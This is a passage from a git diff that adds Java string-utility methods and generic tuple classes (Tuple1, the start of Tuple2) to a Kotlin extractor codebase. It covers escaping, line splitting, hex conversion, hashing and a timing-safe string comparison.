+		return res.toString();
+	}
+
+	// we don't include curly brackets although they're mentioned in the spec as escapable,
+	// because they don't actually do anything
+	private static final List<Character> specialMarkdownChars = Arrays.asList(
+			'\\', '`', '_', '*', '(', ')', '[', ']', '#', '+', '-', '.', '!');
+	/**
+	 * Escape special markdown characters in the given string.
+	 */
+	public static String escapeMarkdown(String str) {
+		return escapeMarkdown(specialMarkdownChars, str);
+	}
+
+	/**
+	 * Escape special markdown characters in the given string.
+	 */
+	public static String escapeMarkdown(List<Character> specialMarkdownChars, String str) {
+		if (str == null)
+			return null;
+		StringBuilder res = new StringBuilder();
+
+		boolean escapeOctothorp = true;
+		for (int i=0, n=str.length(); i<n; ++i) {
+			char c = str.charAt(i);
+			if (specialMarkdownChars.contains(c) && (c != '#' || escapeOctothorp))
+				res.append("\\").append(c);
+			else
+				res.append(c);
+
+			// If this character is an '&' and the next character is an '#' it will not be escaped.
+			// This is to avoid escaping it in HTML entities, e.g. &#x2603;.
+			escapeOctothorp = (c != '&');
+		}
+		return res.toString();
+	}
+
+	/**
+	 * Make a QL string literal for the given string, using escapes for non-printable characters
+	 * where possible. The return value includes the surrounding double-quote characters.
+	 */
+	public static String makeQLStringLiteral(String value) {
+		StringBuilder sb = new StringBuilder();
+		sb.append('\"');
+		for (char c : value.toCharArray()) {
+			switch (c) {
+			case '\\':
+				sb.append("\\\\");
+				break;
+			case '\n':
+				sb.append("\\n");
+				break;
+			case '\"':
+				sb.append("\\\"");
+				break;
+			case '\r':
+				sb.append("\\r");
+				break;
+			case '\t':
+				sb.append("\\t");
+				break;
+			default:
+				sb.append(c);
+				break;
+			}
+		}
+		sb.append('\"');
+		return sb.toString();
+	}
+
+	/**
+	 * Wrap a long text to a given number of columns. The wrapping is done
+	 * naively: At least one word is on every line, and the first word to
+	 * push the line length above the value of <code>cols</code> marks the
+	 * start of a new line (and ends up on the new line). For this method,
+	 * "word" means sequence of non-whitespace characters.
+	 * @param text The text that should be wrapped.
+	 * @param cols The number of characters to permit on each line; it is
+	 *           only exceeded if there are single words that are longer.
+	 * @return The text with sequences of whitespace before words that would
+	 *           exceed the permitted width replaced with '\n'.
+	 */
+	public static String wrap(String text, int cols) {
+		if(text == null)
+			return null;
+		List<String> lines = new ArrayList<>();
+		int lineStart = -1; int wordStart = -1; int col = 0;
+		for (int cur = 0; cur < text.length(); cur++) {
+			if (text.charAt(cur) == '\n') {
+				// Forced new line.
+				if (lineStart < 0) {
+					// Empty new line.
+					lines.add("");
+				} else {
+					lines.add(text.substring(lineStart, cur).trim());
+				}
+				lineStart = -1;
+				wordStart = -1;
+				col = 0;
+			} else if (Character.isWhitespace(text.charAt(cur))) {
+				// Possible break.
+				if (col > cols) {
+					// Break is needed.
+					if (lineStart < 0) {
+						// Long run of whitespace.
+						continue;
+					} else if (wordStart < 0) {
+						// Sequence of whitespace went over after real word.
+						String line = text.substring(lineStart, cur).trim();
+						if (line.length() > 0) lines.add(line);
+						lineStart = -1;
+					} else if (wordStart > lineStart) {
+						// Word goes onto new line.
+						lines.add(text.substring(lineStart, wordStart - 1).trim());
+						lineStart = wordStart;
+						col = cur - lineStart + 1;
+						wordStart = -1;
+					} else {
+						// Word is a line on its own.
+						lines.add(text.substring(wordStart, cur).trim());
+						lineStart = -1;
+						wordStart = -1;
+					}
+				} else {
+					// No break, but new word
+					wordStart = -1;
+				}
+			} else {
+				if (lineStart < 0) {
+					lineStart = cur;
+					col = 0;
+				}
+				if (wordStart < 0)
+					wordStart = cur;
+			}
+			if (lineStart >= 0)
+				col++;
+		}
+		if (lineStart > -1)
+			lines.add(text.substring(lineStart).trim());
+		return glue("\n", lines);
+	}
+
+	/**
+	 * Get the first word of the given string, delimited by whitespace. Leading whitespace
+	 * is ignored.
+	 */
+	public static String firstWord(String s) {
+		s = s.trim();
+		int i = 0;
+		while (i < s.length() && !Character.isWhitespace(s.charAt(i)))
+			i++;
+		return s.substring(0, i);
+	}
+
+	/**
+	 * Strip the first word (delimited by whitespace, leading whitespace ignored) and get the
+	 * remainder of the string, trimmed.
+	 */
+	public static String stripFirstWord(String s) {
+		s = s.trim();
+		int i = 0;
+		while (i < s.length() && !Character.isWhitespace(s.charAt(i)))
+			i++;
+		return s.substring(i).trim();
+	}
+
+	/**
+	 * Trim leading and trailing occurrences of a character from a string
+	 * @param str the string to trim
+	 * @param c the character to remove
+	 * @return A string whose value is <code>str</code>, with any leading and trailing occurrences of <code>c</code> removed,
+	 *    or <code>str</code> if it has no leading or trailing occurrences of <code>c</code>.
+	 */
+	public static String trim(String str, char c) {
+		return trim(str, c, true, true);
+	}
+
+	public static String trim(String str, char c, boolean trimLeading, boolean trimTrailing) {
+		int begin = 0;
+		int end = str.length();
+
+		if (trimLeading) {
+			while ((begin < end) && (str.charAt(begin) == c)) {
+				begin++;
+			}
+		}
+		if (trimTrailing) {
+			while ((begin < end) && (str.charAt(end - 1) == c)) {
+				end--;
+			}
+		}
+		if ((begin > 0) || (end < str.length()))
+			str = str.substring(begin, end);
+		return str;
+	}
+
+	public static String trimTrailingWhitespace(String str) {
+		int begin = 0;
+		int end = str.length();
+		while((begin < end) && (Character.isWhitespace(str.charAt(end-1)))) {
+			end--;
+		}
+		if (end < str.length())
+			str = str.substring(begin, end);
+		return str;
+	}
+
+	private static final Charset UTF8_CHARSET = Charset.forName("UTF-8");
+
+	/**
+	 * Invert the conversion performed by {@link #stringToBytes(String)}.
+	 */
+	public static String bytesToString(byte[] bytes)
+	{
+		return new String(bytes, 0, bytes.length, UTF8_CHARSET);
+	}
+
+	public static String bytesToString(byte[] bytes, int offset, int length) {
+		return new String(bytes, offset, length, UTF8_CHARSET);
+	}
+
+	/** Convert a String into a sequence of bytes (according to a UTF-8 representation of the String). */
+	public static byte[] stringToBytes (String str)
+	{
+		return str.getBytes(Charset.forName("UTF-8"));
+	}
+
+	/**
+	 * Compute a SHA-1 sum for the given String.
+	 * <p>
+	 * The SHA-1 is obtained by first converting the String to bytes, which is Charset-dependent,
+	 * though this method always uses {@link #stringToBytes(String)}.
+	 * </p>
+	 *
+	 * @see #toHex(byte[])
+	 */
+	public static byte[] stringToSHA1 (String str)
+	{
+		MessageDigest messageDigest;
+		try {
+			messageDigest = MessageDigest.getInstance("SHA-1");
+			return messageDigest.digest(stringToBytes(str));
+		}
+		catch (NoSuchAlgorithmException e) {
+			throw new CatastrophicError("Failed to obtain MessageDigest for computing SHA-1", e);
+		}
+
+	}
+
+	/**
+	 * Constructs a string that repeats the repeatee the specified number of times.
+	 * For example, repeat("foo", 3) would return "foofoofoo".
+	 *
+	 * @param repeatee	The string to be repeated.
+	 * @param times		The number of times to repeat it.
+	 * @return			The result of repeating the repeatee the specified number of times.
+	 */
+	public static String repeat(String repeatee, int times) {
+		if (times == 0)
+			return "";
+		return new String(new char[times]).replace("\0", repeatee);
+	}
+
+	/**
+	 * Computes the lower-case version of the given string in a way that is independent
+	 * of the system default locale.
+	 * @param s A string value to lowercase.
+	 * @return The value of {@code s} with all English letters converted to lower-case.
+	 */
+	public static String lc(String s) {
+		return s.toLowerCase(Locale.ENGLISH);
+	}
+
+	/**
+	 * Computes the upper-case version of the given string in a way that is independent
+	 * of the system default locale.
+	 * @param s A string value to uppercase.
+	 * @return The value of {@code s} with all English letters converted to upper-case.
+	 */
+	public static String uc(String s) {
+		return s.toUpperCase(Locale.ENGLISH);
+	}
+
+	public static String ucfirst(String s) {
+		if( s.isEmpty() || !Character.isLowerCase(s.charAt(0)))
+			return s;
+		else
+			return uc(s.substring(0,1))+s.substring(1);
+	}
+
+	private static final Pattern lineEnding = Pattern.compile("\r\n|\r|\n");
+	/**
+	 * Regex to match line endings using look-behind,
+	 * so that line separators can be included in the split lines.
+	 * \r\n is matched eagerly, i.e. we only match on \r individually if it is not followed by \n.
+	 */
+	private static final Pattern lineEndingIncludingSeparators = Pattern.compile("(?<=(\r\n|\r(?!\n)|\n))");
+
+	/**
+	 * Get the lines in a given string. All known style of line terminator (CRLF, CR, LF)
+	 * are recognised. Trailing empty lines are not returned, and the resulting strings
+	 * do not include the line separators.
+	 */
+	public static String[] lines(String s) {
+		return lines(s, false, true);
+	}
+
+	/**
+	 * Get the lines in a given string, including the line separators.
+	 * All known style of line terminator (CRLF, CR, LF) are recognised.
+	 * Trailing empty strings are not returned (but lines containing only separators are).
+	 */
+	public static String[] linesWithSeparators(String s) {
+		return lines(s, true, true);
+	}
+
+	/**
+	 * Get the lines in a given string. All known style of line terminator (CRLF, CR, LF)
+	 * are recognised. The resulting strings do not include the line separators. If
+	 * {@code squishTrailing} is <code>true</code>, trailing empty lines are not included
+	 * in the result; otherwise, they will appear as empty strings.
+	 */
+	public static String[] lines(String s, boolean squishTrailing) {
+		return lines(s, false, squishTrailing);
+	}
+
+	/**
+	 * Gets the lines in a given string. All known style of line terminator (CRLF, CR, LF)
+	 * are recognised.
+	 * If {@code includeSeparators} is <code>true</code>, then the line separators are included
+	 * at the end of their corresponding lines; otherwise they are dropped.
+	 * If {@code squishTrailing} is <code>true</code>, then trailing empty lines are not included
+	 * in the result; otherwise, they will appear as empty strings.
+	 */
+	public static String[] lines(String s, boolean includeSeparators, boolean squishTrailing) {
+		if (s.length() == 0)
+			return new String[0];
+		Pattern pattern = includeSeparators ? lineEndingIncludingSeparators : lineEnding;
+		return pattern.split(s, squishTrailing ? 0 : -1);
+	}
+
+	/**
+	 * Replace all line endings in the given string with \n
+	 */
+	public static String toUnixLineEndings(String s) {
+		return lineEnding.matcher(s).replaceAll("\n");
+	}
+
+	/**
+	 * Get a boolean indicating whether the string contains line separators
+	 * All known style of line terminator (CRLF, CR, LF) are recognised.
+	 */
+	public static boolean isMultiLine(String s) {
+		return lineEnding.matcher(s).find();
+	}
+
+	private static final Pattern whitespace = Pattern.compile("\\s+");
+	/**
+	 * Get the words (i.e. whitespace-delimited chunks of non-whitespace) from the given string.
+	 * Empty words are not included -- this means that the result is a zero-length array for
+	 * an input string that consists entirely of whitespace.
+	 */
+	public static String[] words(String s) {
+		s = s.trim();
+		if (s.length() == 0)
+			return new String[0];
+		return whitespace.split(s);
+	}
+
+	/**
+	 * Split a string into paragraphs (delimited by empty lines). Line endings are not preserved.
+	 */
+	public static String[] paragraphs(String s) {
+		List<String> paragraphs = new ArrayList<>();
+
+		StringBuilder paragraph = new StringBuilder();
+		boolean emptyParagraph = true;
+
+		for (String line : StringUtil.lines(s)) {
+			if (line.isEmpty()) {
+				// line only has line endings, i.e. is between paragraphs.
+				if (!emptyParagraph)
+					paragraphs.add(paragraph.toString());
+				paragraph = new StringBuilder();
+				emptyParagraph = true;
+			} else {
+				if(paragraph.length() != 0)
+					paragraph.append(' ');
+				paragraph.append(line);
+				emptyParagraph = false;
+			}
+		}
+		if (!emptyParagraph)
+			paragraphs.add(paragraph.toString());
+		return paragraphs.toArray(new String[0]);
+	}
+
+	private static final char[] HEX_CHARS = "0123456789abcdef".toCharArray();
+
+	/** Convert an array of bytes into an array of lower-case hex digits. */
+	public static String toHex (byte ... bytes)
+	{
+		StringBuilder strBldr = new StringBuilder(bytes.length * 2);
+		char[] hexchars = HEX_CHARS;
+		for (byte b : bytes) {
+			strBldr.append(hexchars[(b >>> 4) & 0xF]).append(hexchars[b & 0xF]);
+		}
+		return strBldr.toString();
+
+	}
+
+	 /**
+	  * Convert String of hexadecimal digits to an array of bytes.
+	  * @throws NumberFormatException if string does not have an even length or
+	  *            contains invalid characters.
+	  */
+	public static byte[] fromHex(String string) {
+		int len = string.length();
+		if(len % 2 != 0)
+			throw new NumberFormatException("Hexadecimal string should have an even number of characters.");
+		byte[] data = new byte[len / 2];
+		int index = 0;
+		for (int i = 0; i < len; i += 2) {
+			int a = Character.digit(string.charAt(i), 16);
+			if(a == -1)
+				throw new NumberFormatException("Invalid character in hexadecimal string: " + string.charAt(i));
+			int b = Character.digit(string.charAt(i+1), 16);
+			if(b == -1)
+				throw new NumberFormatException("Invalid character in hexadecimal string: " + string.charAt(i+1));
+			data[index] = (byte) ((a << 4) | b);
+			index++;
+		}
+		return data;
+	}
+
+	/**
+	 * Return a 8 character String describing the duration in {@code nanoSeconds}.
+	 * <p>
+	 * The duration will be scaled and expressed using the appropriate units: nano-, micro-, milli-,
+	 * seconds, minutes, hours, days, or years.
+	 * </p>
+	 */
+	public static String getDurationString (long nanoSeconds)
+	{
+		char sign   = nanoSeconds < 0 ? '-' : '+';
+		nanoSeconds = nanoSeconds < 0 ? -nanoSeconds : nanoSeconds;
+		if (nanoSeconds < 1e4) {
+			return sign + getDurationString(nanoSeconds, 1,   "[ns]");
+		}
+		else if (nanoSeconds < 1e7) {
+			return sign + getDurationString(nanoSeconds, 1e3, "[us]");
+		}
+		else if (nanoSeconds < 1e10) {
+			return sign + getDurationString(nanoSeconds, 1e6, "[ms]");
+		}
+		else if (nanoSeconds < 1e13) {
+			return sign + getDurationString(nanoSeconds, 1e9, "[s] ");
+		}
+		else if (nanoSeconds < 60e13) {
+			return sign + getDurationString(nanoSeconds, 60e9, "[m] ");
+		}
+		else if (nanoSeconds < 3600e13) {
+			return sign + getDurationString(nanoSeconds, 3600e9, "[h] ");
+		}
+		else if (nanoSeconds < 86400e13) {
+			return sign + getDurationString(nanoSeconds, 86400e9, "[d] ");
+		}
+		else {
+			return sign + getDurationString(nanoSeconds, 31536000e9, "[y] ");
+		}
+	}
+
+	/**
+	 * Return a four character representation of the given duration in {@code nanoSeconds}, divided by
+	 * the given {@code divisor} and suffixed with the given {@code unit}.
+	 *
+	 * @param nanoSeconds The duration to express; must be non-negative.
+	 * @see #getDurationString(long)
+	 */
+	private static String getDurationString (long nanoSeconds, double divisor, String unit)
+	{
+		// Format as a 4 character floating point
+		String scaledStr = String.format("%-4f", nanoSeconds / divisor).substring(0, 4);
+		// Replace a trailing decimal with a space
+		return (scaledStr.endsWith(".") ? scaledStr.replace(".", " ") : scaledStr) + unit;
+	}
+
+	/**
+	 * Parse an Integer from the given {@code string}, returning null if parsing failed for any
+	 * reason.
+	 */
+	public static Integer parseInteger (String string)
+	{
+		// Quick break-out if string is null
+		if (string == null) {
+			return null;
+		}
+		// Attempt to parse an integer
+		try {
+			return Integer.parseInt(string);
+		}
+		catch(NumberFormatException nfe) {
+			Exceptions.ignore(nfe, "deliberate test");
+			return null;
+		}
+	}
+
+	/**
+	 * Append to a given {@link StringBuilder} a sequence of Objects via their
+	 * {@link Object#toString()} method, and return the StringBuilder.
+	 */
+	public static StringBuilder appendLine (StringBuilder strBldr, Object ... args)
+	{
+		for(Object arg : args) {
+			strBldr.append(arg);
+		}
+		return strBldr.append("\n");
+	}
+
+	/**
+	 * Compose a new String with every line prepended with a given prefix.
+	 * <p>
+	 * The final portion of the {@code text} that is not terminated with a newline character will be
+	 * prefixed if and only if it is non-empty.
+	 * </p>
+	 *
+	 * @param prefix The string that shall be prefixed to every line in {@code text}.
+	 * @param text The string to split into lines and prefix.
+	 */
+	public static String prefixLines (String prefix, String text)
+	{
+		return text.replaceAll("(?m)^", prefix);
+	}
+
+	/**
+	 * Count the number of times a character occurs in a string.
+	 *
+	 * @param str The string to search in.
+	 * @param ch The character to look for.
+	 */
+	public static int count (String str, char ch)
+	{
+		int r = 0;
+		for (int i = 0; i < str.length(); i++) {
+			if (str.charAt(i) == ch) {
+				r++;
+			}
+		}
+		return r;
+	}
+
+	/**
+	 * Add line numbers to the start of each line of the given {@code plainText}.
+	 *
+	 * @param plainText - some plain text, with lines distinguished by one of the standard
+	 *            line-endings.
+	 * @return the {@code plainText}, with 1-indexed line numbers inserted at the start of each
+	 *         line. The line numbers will be of a fixed width comprising the length of the largest
+	 *         line number.
+	 */
+	public static String addLineNumbers(String plainText) {
+		/*
+		 * Add line numbers to the plain text code sample.
+		 */
+		String[] lines = StringUtil.lines(plainText, false);
+		// The maximum number of characters needed to represent the line number
+		int lineColumnWidth = Integer.toString(lines.length).length();
+
+		StringBuilder sampleWithLineNumbers = new StringBuilder();
+		for (int i = 0; i < lines.length; i++) {
+			boolean last = i == lines.length -1;
+			sampleWithLineNumbers.append(String.format("%" + lineColumnWidth + "s  %s" + (last ? "" : "\n"), i + 1, lines[i]));
+		}
+		return sampleWithLineNumbers.toString();
+	}
+
+	// Pattern that matches a string of (at least one) decimal digits
+	private static final Pattern DIGITS_PATTERN = Pattern.compile("[0-9]+");
+
+	/** Return true iff the given string consists only of digits */
+	public static boolean isDigits(String s) {
+		return DIGITS_PATTERN.matcher(s).matches();
+	}
+
+	/**
+	 * Determine whether a given {@code char} is an ASCII letter.
+	 */
+	public static boolean isAsciiLetter (char c)
+	{
+		return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z');
+	}
+
+	/**
+	 * A {@link String} comparison function to hopefully help mitigate against timing attacks.
+	 * Aims to be constant time in the length of the first argument however due to the nature
+	 * of Java this is very hard to achieve reliably. Callers should not rely on this method
+	 * being perfectly constant time and other defenses should be introduced as necessary
+	 * to prevent timing attacks based on how critical it is to avoid them.
+	 * <p>
+	 * Each argument may safely be null.
+	 * <p>
+	 * Note there is a unit tests that asserts the timing properties of this method which is
+	 * committed but not run by default. If any changes are made to the implementation then
+	 * {@code StringUtilTests#secureIsEqualTiming} must be run manually.
+	 */
+	public static boolean secureIsEqual(String a, String b) {
+		if (a == null) {
+			// Since we are aiming for constant time in the length of the
+			// first argument only, it is ok to bail out quickly if a is null.
+			return b == null;
+		}
+
+		byte[] aBytes = stringToBytes(a);
+
+		boolean definitelyDifferent = b == null || b.length() != a.length();
+		byte[] bBytes = stringToBytes(definitelyDifferent ? a : b);
+		byte[] randomBBytes = new byte[a.length()];
+		RANDOM.nextBytes(randomBBytes);
+		if (definitelyDifferent) {
+			bBytes = randomBBytes;
+		}
+
+		int result = 0;
+		for (int i = 0; i < aBytes.length; i++) {
+			result |= aBytes[i] ^ bBytes[i];
+		}
+		return result == 0 && !definitelyDifferent;
+	}
+
+	public static String lineSeparator(){
+		return System.getProperty("line.separator");
+	}
+
+	public static <T> String naturalGlue(String separator, String finalSeparator, Collection<T> values) {
+		StringBuilder stringBuilder = new StringBuilder();
+		Iterator<T> iterator = values.iterator();
+		boolean first = true;
+		if(iterator.hasNext()) {
+			boolean hasNext = true;
+			T current = iterator.next();
+			while(hasNext) {
+				hasNext = iterator.hasNext();
+				T next = iterator.hasNext() ? iterator.next() : null;
+				if(first) {
+					first = false;
+				}
+				else if(!hasNext) {
+					stringBuilder.append(finalSeparator);
+				}
+				else {
+					stringBuilder.append(separator);
+				}
+				stringBuilder.append(current != null ? current : "<null>");
+				current = next;
+			}
+		}
+		return stringBuilder.toString();
+	}
+
+	/**
+	 * Convert a CamelCase (or camelCase) string to spinal-case. Adjacent sequences of upper-case
+	 * characters are treated as a single word, so that "getXML" would be converted to "get-xml".
+	 * Where a lower-case character follows an upper-case character <i>after</i> a sequence of at
+	 * least on upper-case character, the last upper-case character in the sequence is assumed to
+	 * be the first letter of a new word, rather than the last letter of an acronym. Thus,
+	 * "getXMLFile" becomes "get-xml-file" rather than "get-xmlfile" or "get-xmlf-ile".
+	 *
+	 * @return The spinal-cased equivalent of {@code camelCaseStr}, or null if it is null.
+	 */
+	public static String camelToSpinal(String camelCaseStr) {
+		// Quick break-out if the string is null
+		if (camelCaseStr == null)
+			return null;
+		// Convert to spinal-case
+		String        lcStr   = camelCaseStr.toLowerCase(Locale.ENGLISH);
+		StringBuilder strBldr = new StringBuilder();
+		for(int i=0; i<camelCaseStr.length();) {
+			if (camelCaseStr.charAt(i) != lcStr.charAt(i)) {
+				if (i > 0) {
+					// Next character is upper-case, and not at the start of the string,
+					// so insert a preceding dash
+					strBldr.append("-");
+				}
+				// Consume (append in l.c.) all contiguously following u.c. characters, except that
+				// if a sequence of two or more u.c. characters occurs followed by a l.c. character
+				// assume that the last u.c. character is the first in a new word and insert a -
+				// preceding the new word.
+				//
+				// Thus getXML becomes get-xml, but getXMLFile becomes get-xml-file rather than
+				// get-xmlfile.
+				int numUc = 0;
+				while(i<camelCaseStr.length() && camelCaseStr.charAt(i) != lcStr.charAt(i)) {
+					if (  numUc > 0
+					   && i+1 < camelCaseStr.length()
+					   && camelCaseStr.charAt(i+1) == lcStr.charAt(i+1)
+					   && isAsciiLetter(lcStr.charAt(i+1))) {
+						strBldr.append("-").append(lcStr.charAt(i++));
+						break;
+					}
+					strBldr.append(lcStr.charAt(i++));
+					++numUc;
+				}
+			}
+			// Consume (append) all contiguously following l.c. characters
+			while(i<camelCaseStr.length() && camelCaseStr.charAt(i) == lcStr.charAt(i))
+				strBldr.append(lcStr.charAt(i++));
+		}
+
+		return strBldr.toString();
+	}
+
+	public static String lowerCaseFirstLetter(String s) {
+		if (s == null || s.isEmpty())
+			return s;
+
+		final char[] chars = s.toCharArray();
+		chars[0] = Character.toLowerCase(chars[0]);
+		return new String(chars);
+	}
+
+	/**
+	 * Returns the string with double-quoted strings, single line comments and multiline comments
+	 * removed.
+	 * <p>
+	 *
+	 * @param ql The QL code string
+	 * @param terminateStringsAtLineEnd If true, then strings are treated as ending at EOL;
+	 * if false, unterminated strings result in an IllegalArgumentException.
+	 *
+	 * NB QL does not support multiline strings.
+	 */
+	public static String stripQlCommentsAndStrings(String ql, boolean terminateStringsAtLineEnd) {
+		StringBuilder returnBuilder = new StringBuilder();
+		// in a quoted string you must ignore both comment starters
+		// in a multi-line comment you must ignore the other two (single line comment and string) starters
+		// in a single line comment you can just eat up to the end of the line
+		boolean inString = false;
+		boolean inMultiLineComment = false;
+		boolean inSingleLineComment = false;
+		for (int i = 0; i < ql.length(); i++) {
+			// String
+			if (!inMultiLineComment && !inSingleLineComment && matchesAt(ql, i, "\"") && !isEscaped(ql, i)) {
+				inString = !inString;
+				continue;
+			} else if (matchesEolAt(ql, i)) {
+				if (terminateStringsAtLineEnd) {
+					inString = false; // force strings to end at EOL - multi-line strings are invalid
+				} else if (inString) {
+					throw new IllegalArgumentException("Unterminated string found.");
+				}
+			}
+
+			// Single-line comment
+			if (!inString && !inMultiLineComment && matchesAt(ql, i, "//")) {
+				inSingleLineComment = true;
+				continue;
+			} else if (inSingleLineComment && matchesEolAt(ql, i)) {
+				inSingleLineComment = false;
+			}
+
+			// Multi-line comment
+			if (!inString && !inSingleLineComment && matchesAt(ql, i, "/*")) {
+				inMultiLineComment = true;
+			} else if (inMultiLineComment && matchesAt(ql, i, "*/")) {
+				inMultiLineComment = false;
+				i++; // skip the next character (the '/') as well as this one
+
+				continue;
+			}
+
+			if (inString || inMultiLineComment || inSingleLineComment) {
+				continue;
+			}
+
+			returnBuilder.append(ql.charAt(i));
+		}
+
+		if (inString && !terminateStringsAtLineEnd) {
+			throw new IllegalArgumentException("Unterminated string found.");
+		}
+
+		return returnBuilder.toString();
+	}
+
+	/**
+	 * Calls (@link #stripQlCommentsAndStrings(String, boolean),
+	 * passing {@code false} for the {@code terminateStringsAtLineEnd} parameter.
+	 */
+	public static String stripQlCommentsAndStrings(String ql) {
+		return stripQlCommentsAndStrings(ql, false);
+	}
+
+	private static boolean matchesAt(String sourceString, int currentCharIndex, String subString) {
+		if (currentCharIndex + subString.length() > sourceString.length()) {
+			return false;
+		}
+
+		return sourceString.substring(currentCharIndex, currentCharIndex + subString.length()).equals(subString);
+	}
+
+	private static boolean matchesEolAt(String sourceString, int currentCharIndex ) {
+		return matchesOneOfAt(sourceString, currentCharIndex, "\n", "\r");
+	}
+
+	private static boolean matchesOneOfAt(String sourceString, int currentCharIndex, String... subStrings) {
+		for (String subString: subStrings) {
+			if (matchesAt(sourceString, currentCharIndex, subString)) {
+				return true;
+			}
+		}
+		return false;
+	}
+
+	private static boolean isEscaped(String theString, int currentCharIndex) {
+		if (currentCharIndex == 0) {
+			return false;
+		}
+		return previousCharacter(theString, currentCharIndex) == '\\' && !isEscaped(theString, currentCharIndex-1);
+	}
+
+	private static char previousCharacter(String theString, int currentCharIndex) {
+		if (currentCharIndex == 0) {
+			return Character.MIN_VALUE;
+		}
+		return theString.charAt(currentCharIndex - 1);
+	}
+
+	/**
+	 * Compare two arrays of strings. The two arrays are considered equal if they
+	 * are either both null or contain equal elements in the same order (ignoring
+	 * case).
+	 *
+	 * @param a
+	 *            the first array
+	 * @param a2
+	 *            the second array
+	 * @return true iff the elements in the arrays are equal when ignoring case
+	 */
+	public static boolean arrayEqualsIgnoreCase(String[] a, String[] a2) {
+		if (a == null) return a2 == null;
+		if (a2 == null) return false;
+		if (a.length != a2.length) return false;
+		for (int i = 0; i < a.length; i++) {
+			if ((a[i] == null && a2[i] != null) || !a[i].equalsIgnoreCase(a2[i])) return false;
+		}
+		return true;
+	}
+
+	public static final Pattern NEWLINE_PATTERN = Pattern.compile("\n");
+
+	/**
+	 * Convert a string into a doc comment with the content as the body.
+	 */
+	public static String toCommentString(String content) {
+		StringBuilder result = new StringBuilder();
+		result.append("/**\n");
+		String[] lines = StringUtil.lines(content);
+		for (String line: lines) {
+			result.append(" *" + line);
+			result.append("\n");
+		}
+		result.append(" */");
+		return result.toString();
+	}
+
+	/**
+	 * Is {@code str} composed only of printable ASCII characters (excluding
+	 * newline, carriage return and tab but including space)?
+	 */
+	public static boolean isPrintableAscii(String str) {
+		if (str == null)
+			return false;
+		for(int i=0; i<str.length(); ++i) {
+			if (!isPrintableAscii(str.charAt(i)))
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Is {@code c} a printable ASCII character (excluding newline, carriage
+	 * return and tab, but including space)?
+	 */
+	public static boolean isPrintableAscii(char c) {
+		return c >= 32 && c < 127;
+	}
+
+	/**
+	 * Return true if {@code str} only contains characters which are either printable ASCII or ASCII whitespace
+	 */
+	public static boolean isAsciiText(String str) {
+		for(int i=0; i<str.length(); ++i) {
+			if (!isAsciiText(str.charAt(i)))
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Return true if {@code c} is either a printable ASCII character or ASCII whitespace character
+	 */
+	public static boolean isAsciiText(char c) {
+		return (
+			isPrintableAscii(c) ||
+			c == '\t' ||
+			c == '\n' ||
+			c == '\r'
+		);
+	}
+
+	/**
+	 * Returns true if {@code str} contains ASCII characters < 32 or == 127,
+	 * other than \n, \t, \r
+	 */
+	public static boolean containsControlCharacters(String str) {
+		for (char c: str.toCharArray()) {
+			if (isControlCharacter(c)) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * "Control character" here means code point 127 (DEL),
+	 * characters in C0 block [0, 31] excluding \t, \n, or \r
+	 * or characters in C1 block [128, 159]
+	 */
+	public static boolean isControlCharacter(char c) {
+		// C1 control characters run from 128-159
+		// but Unicode above that is okay
+		if (c > 159) {
+			return false;
+		}
+
+		// Most of ASCII is okay
+		if (c >= 32 && c < 127) {
+			return false;
+		}
+
+		// Basic whitespace is okay
+		if (c == '\t' ||
+			c == '\n' ||
+			c == '\r') {
+			return false;
+		}
+
+		// If we've got this far, it must be a control character
+		return true;
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/Tuple1.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/Tuple1.java
new file mode 100644
index 00000000000..171c90d2f48
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/Tuple1.java
@@ -0,0 +1,106 @@
+package com.semmle.util.data;
+
+import java.io.Serializable;
+
+
+/**
+ * Tuple of one typed element.
+ * <p>
+ * Note that this is a sub-class of {@link TupleN} and a super-class of {@link Tuple2},
+ * {@link Tuple3}, and any subsequent extensions in a similar vein.
+ * </p>
+ */
+public class Tuple1 <Type0> extends TupleN
+{
+	/**
+	 * Serializable variant of {@link Tuple1}.
+	 */
+	public static class SerializableTuple1<T0 extends Serializable>
+		extends Tuple1<T0> implements Serializable {
+
+		private static final long serialVersionUID = -7989122667707773448L;
+
+		public SerializableTuple1() {
+		}
+
+		public SerializableTuple1(T0 t0) {
+			super(t0);
+		}
+	}
+
+	private static final long serialVersionUID = -4317563803154647477L;
+
+	/** The single contained value. */
+	protected Type0 _value0;
+
+
+	/** Construct a new {@link Tuple1} with a null value. */
+	public Tuple1 () {}
+
+	/** Construct a new {@link Tuple1} with the given value. */
+	public Tuple1 (Type0 value0)
+	{
+		_value0 = value0;
+	}
+
+	/** Construct a new {@link Tuple1} with the given value. */
+	public static <Type0> Tuple1<Type0> make(Type0 value0)
+	{
+		return new Tuple1<Type0>(value0);
+	}
+
+	/**
+	 * Get the value contained by this {@link Tuple1}.
+	 */
+	public final Type0 value0 ()
+	{
+		return _value0;
+	}
+
+	@Override
+	protected Object value_ (int n)
+	{
+		return _value0;
+	}
+
+	/**
+	 * Return the number of elements in this {@link Tuple1}.
+	 * <p>
+	 * Sub-classes shall override this method to increase its value accordingly.
+	 * </p>
+	 */
+	@Override
+	public int size ()
+	{
+		return 1;
+	}
+
+	/**
+	 * Return a plain string representation of the contained value (where null is represented by the
+	 * empty string).
+	 * <p>
+	 * Sub-classes shall implement a comma-separated concatenation.
+	 * </p>
+	 */
+	@Override
+	public String toPlainString ()
+	{
+		return _value0 == null ? "" : _value0.toString();
+	}
+
+	@Override
+	public int hashCode ()
+	{
+		final int prime = 31;
+		int result = super.hashCode();
+		result = prime * result + ((_value0 == null) ? 0 : _value0.hashCode());
+		return result;
+	}
+
+	@Override
+	public boolean equals (Object obj)
+	{
+		return obj == this || (super.equals(obj) && equal(((Tuple1<?>)obj)._value0, _value0));
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/Tuple2.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/Tuple2.java
new file mode 100644
index 00000000000..2b3ce9a469e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/Tuple2.java
@@ -0,0 +1,93 @@
+package com.semmle.util.data;
+
+import java.io.Serializable;
+
+
+/**
